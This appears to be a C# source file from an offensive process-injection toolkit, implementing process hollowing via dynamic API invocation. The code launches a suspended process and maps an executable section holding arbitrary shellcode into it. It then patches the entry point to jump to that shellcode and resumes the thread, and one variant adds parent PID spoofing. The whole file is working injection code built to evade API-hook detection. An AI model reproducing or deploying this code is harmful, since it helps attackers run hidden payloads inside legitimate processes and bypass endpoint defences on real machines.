Files
2025-08-02 01:43:11 +05:30

561 lines
15 KiB
C#

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using static ProcessInjection.Utils.Utils;
using static ProcessInjection.Native.Structs;
using static ProcessInjection.Native.Delegates;
using static ProcessInjection.Native.Constants;
namespace ProcessInjection.DInvoke
{
public class DynamicProcessHollowing
{
/*
Credits goes to Aaron - https://github.com/ambray, Michael Gorelik<smgorelik@gmail.com> and @_RastaMouse
https://github.com/ambray/ProcessHollowing
https://gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Hollower.cs
*/
#region Process Hollowing
public IntPtr section_;
public IntPtr localmap_;
public IntPtr remotemap_;
public IntPtr localsize_;
public IntPtr remotesize_;
public IntPtr pModBase_;
public IntPtr pEntry_;
public uint rvaEntryOffset_;
public uint size_;
public byte[] inner_;
public const uint PageReadWriteExecute = 0x40;
public const uint PageReadWrite = 0x04;
public const uint PageExecuteRead = 0x20;
public const uint MemCommit = 0x00001000;
public const uint SecCommit = 0x08000000;
public const uint GenericAll = 0x10000000;
public const uint DetachedProcess = 0x00000008;
public const uint CreateNoWindow = 0x08000000;
public const ulong PatchSize = 0x10;
public const int AttributeSize = 24;
#endregion Process Hollowing
public DynamicProcessHollowing()
{
section_ = new IntPtr();
localmap_ = new IntPtr();
remotemap_ = new IntPtr();
localsize_ = new IntPtr();
remotesize_ = new IntPtr();
inner_ = new byte[0x1000];
}
public uint round_to_page(uint size)
{
SYSTEM_INFO info = new SYSTEM_INFO();
var funcParams = new object[] {
info
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"GetSystemInfo",
typeof(GetSystemInfo),
ref funcParams,
true);
info = (SYSTEM_INFO)funcParams[0];
return (info.dwPageSize - size % info.dwPageSize) + size;
}
private bool nt_success(long v)
{
return (v >= 0);
}
public IntPtr GetCurrent()
{
var funcParams = new object[] { };
var getCurrentProcess = (IntPtr)DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"GetCurrentProcess",
typeof(GetCurrentProcess),
ref funcParams,
true);
return getCurrentProcess;
}
public static PROCESS_INFORMATION StartProcess(string binaryPath)
{
var procInfo = new PROCESS_INFORMATION();
var siEx = new STARTUPINFOEX();
var ps = new SECURITY_ATTRIBUTES();
var ts = new SECURITY_ATTRIBUTES();
var funcParams = new object[]
{
null,
binaryPath,
ps,
ts,
false,
CreateSuspended,
IntPtr.Zero,
null,
siEx,
procInfo
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"CreateProcessA",
typeof(CreateProcess),
ref funcParams,
true);
procInfo = (PROCESS_INFORMATION)funcParams[9];
PrintInfo($"[!] Process {binaryPath} started with Process ID: {procInfo.dwProcessId}.");
return procInfo;
}
/*
https://github.com/peperunas/injectopi/tree/master/CreateSection
Attemp to create executatble section
*/
public bool CreateSection(uint size)
{
LARGE_INTEGER liVal = new LARGE_INTEGER();
size_ = round_to_page(size);
liVal.LowPart = size_;
var funcParams = new object[] {
section_,
GenericAll,
IntPtr.Zero,
liVal,
PageReadWriteExecute,
SecCommit,
IntPtr.Zero
};
var status = (int)DynamicInvoke.DynamicApiInvoke(
"ntdll.dll",
"ZwCreateSection",
typeof(ZwCreateSection),
ref funcParams,
true);
section_ = (IntPtr)funcParams[0];
PrintInfo($"[!] Executable section created.");
return nt_success(status);
}
public KeyValuePair<IntPtr, IntPtr> MapSection(IntPtr procHandle, uint protect, IntPtr addr)
{
IntPtr baseAddr = addr;
IntPtr viewSize = (IntPtr)size_;
var funcParams = new object[] {
section_,
procHandle,
baseAddr,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
viewSize,
1,
(uint)0,
protect
};
DynamicInvoke.DynamicApiInvoke(
"ntdll.dll",
"ZwMapViewOfSection",
typeof(ZwMapViewOfSection),
ref funcParams,
true);
baseAddr = (IntPtr)funcParams[2];
return new KeyValuePair<IntPtr, IntPtr>(baseAddr, viewSize);
}
public void SetLocalSection(uint size)
{
KeyValuePair<IntPtr, IntPtr> vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero);
PrintInfo($"[!] Map view section to the current process: {vals}.");
localmap_ = vals.Key;
localsize_ = vals.Value;
}
public void CopyShellcode(byte[] buf)
{
long lsize = size_;
PrintInfo($"[!] Copying Shellcode into section: {lsize}. ");
unsafe
{
byte* p = (byte*)localmap_;
for (int i = 0; i < buf.Length; i++)
{
p[i] = buf[i];
}
}
}
public KeyValuePair<int, IntPtr> BuildEntryPatch(IntPtr dest)
{
int i = 0;
IntPtr ptr;
ptr = Marshal.AllocHGlobal((IntPtr)PatchSize);
PrintInfo($"[!] Preparing shellcode patch for the new process entry point: {ptr}. ");
unsafe
{
byte* p = (byte*)ptr;
byte[] tmp = null;
if (IntPtr.Size == 4)
{
p[i] = 0xb8;
i++;
Int32 val = (Int32)dest;
tmp = BitConverter.GetBytes(val);
}
else
{
p[i] = 0x48;
i++;
p[i] = 0xb8;
i++;
Int64 val = (Int64)dest;
tmp = BitConverter.GetBytes(val);
}
for (int j = 0; j < IntPtr.Size; j++)
p[i + j] = tmp[j];
i += IntPtr.Size;
p[i] = 0xff;
i++;
p[i] = 0xe0;
i++;
}
return new KeyValuePair<int, IntPtr>(i, ptr);
}
private IntPtr GetEntryFromBuffer(byte[] buf)
{
PrintInfo($"[!] Locating the entry point for the main module in remote process.");
IntPtr res = IntPtr.Zero;
unsafe
{
fixed (byte* p = buf)
{
uint e_lfanew_offset = *((uint*)(p + 0x3c));
byte* nthdr = (p + e_lfanew_offset);
byte* opthdr = (nthdr + 0x18);
ushort t = *((ushort*)opthdr);
byte* entry_ptr = (opthdr + 0x10);
int tmp = *((int*)entry_ptr);
rvaEntryOffset_ = (uint)tmp;
if (IntPtr.Size == 4)
res = (IntPtr)(pModBase_.ToInt32() + tmp);
else
res = (IntPtr)(pModBase_.ToInt64() + tmp);
}
}
pEntry_ = res;
return res;
}
public IntPtr FindEntry(IntPtr hProc)
{
PROCESS_BASIC_INFORMATION basicInfo = new PROCESS_BASIC_INFORMATION();
uint retLen = new uint();
var funcParams = new object[] {
hProc,
0,
basicInfo,
(uint)(IntPtr.Size * 6),
retLen
};
DynamicInvoke.DynamicApiInvoke(
"ntdll.dll",
"ZwQueryInformationProcess",
typeof(ZwQueryInformationProcess),
ref funcParams,
true);
basicInfo = (PROCESS_BASIC_INFORMATION)funcParams[2];
PrintInfo($"[!] Locating the module base address in the remote process.");
IntPtr readLoc = IntPtr.Zero;
byte[] addrBuf = new byte[IntPtr.Size];
if (IntPtr.Size == 4)
{
readLoc = (IntPtr)((Int32)basicInfo.PebBaseAddress + 8);
}
else
{
readLoc = (IntPtr)((Int64)basicInfo.PebBaseAddress + 16);
}
IntPtr nRead = IntPtr.Zero;
funcParams = new object[] {
hProc,
readLoc,
addrBuf,
addrBuf.Length,
nRead
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"ReadProcessMemory",
typeof(ReadProcessMemory),
ref funcParams,
true);
if (IntPtr.Size == 4)
readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0));
else
readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
pModBase_ = readLoc;
funcParams = new object[] {
hProc,
readLoc,
inner_,
inner_.Length,
nRead
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"ReadProcessMemory",
typeof(ReadProcessMemory),
ref funcParams,
true);
PrintInfo($"[!] Read the first page and locate the entry point: {readLoc}.");
return GetEntryFromBuffer(inner_);
}
public void MapAndStart(PROCESS_INFORMATION pInfo)
{
KeyValuePair<IntPtr, IntPtr> tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero);
PrintInfo($"[!] Locate shellcode into the suspended remote porcess: {tmp}.");
remotemap_ = tmp.Key;
remotesize_ = tmp.Value;
KeyValuePair<int, IntPtr> patch = BuildEntryPatch(tmp.Key);
var funcParams = new object[] { };
try
{
IntPtr pSize = (IntPtr)patch.Key;
IntPtr tPtr = new IntPtr();
funcParams = new object[] {
pInfo.hProcess,
pEntry_,
patch.Value,
pSize,
tPtr
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"WriteProcessMemory",
typeof(WriteProcessMemoryPH),
ref funcParams,
true);
}
finally
{
if (patch.Value != IntPtr.Zero)
Marshal.FreeHGlobal(patch.Value);
}
byte[] tbuf = new byte[0x1000];
IntPtr nRead = new IntPtr();
funcParams = new object[] {
pInfo.hProcess,
pEntry_,
tbuf,
1024,
nRead
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"ReadProcessMemory",
typeof(ReadProcessMemory),
ref funcParams,
true);
funcParams = new object[] {
pInfo.hThread
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"ResumeThread",
typeof(ResumeThread),
ref funcParams,
true);
PrintSuccess($"[+] Process has been resumed.");
}
public IntPtr GetBuffer()
{
return localmap_;
}
~DynamicProcessHollowing()
{
if (localmap_ != (IntPtr)0)
{
var funcParams = new object[] {
section_,
localmap_
};
DynamicInvoke.DynamicApiInvoke(
"ntdll.dll",
"ZwUnmapViewOfSection",
typeof(ZwUnmapViewOfSection),
ref funcParams,
true);
}
}
public void DynamicProcHollow(string binary, byte[] shellcode)
{
PROCESS_INFORMATION pinf = StartProcess(binary);
CreateSection((uint)shellcode.Length);
FindEntry((IntPtr)pinf.hProcess);
SetLocalSection((uint)shellcode.Length);
CopyShellcode(shellcode);
MapAndStart(pinf);
var funcParams = new object[] {
pinf.hThread
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"CloseHandle",
typeof(CloseHandle),
ref funcParams,
true);
funcParams = new object[] {
pinf.hProcess
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"CloseHandle",
typeof(CloseHandle),
ref funcParams,
true);
}
public void PPIDDynProcHollow(string binary, byte[] shellcode, int parentpid)
{
DynamicPPIDSpoofing Parent = new DynamicPPIDSpoofing();
PROCESS_INFORMATION pinf = Parent.DynamicParentSpoofing(parentpid, binary);
DynamicProcessHollowing hollow = new DynamicProcessHollowing();
hollow.CreateSection((uint)shellcode.Length);
hollow.FindEntry(pinf.hProcess);
hollow.SetLocalSection((uint)shellcode.Length);
hollow.CopyShellcode(shellcode);
hollow.MapAndStart(pinf);
var funcParams = new object[] {
pinf.hThread
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"CloseHandle",
typeof(CloseHandle),
ref funcParams,
true);
funcParams = new object[] {
pinf.hProcess
};
DynamicInvoke.DynamicApiInvoke(
"kernel32.dll",
"CloseHandle",
typeof(CloseHandle),
ref funcParams,
true);
}
}
}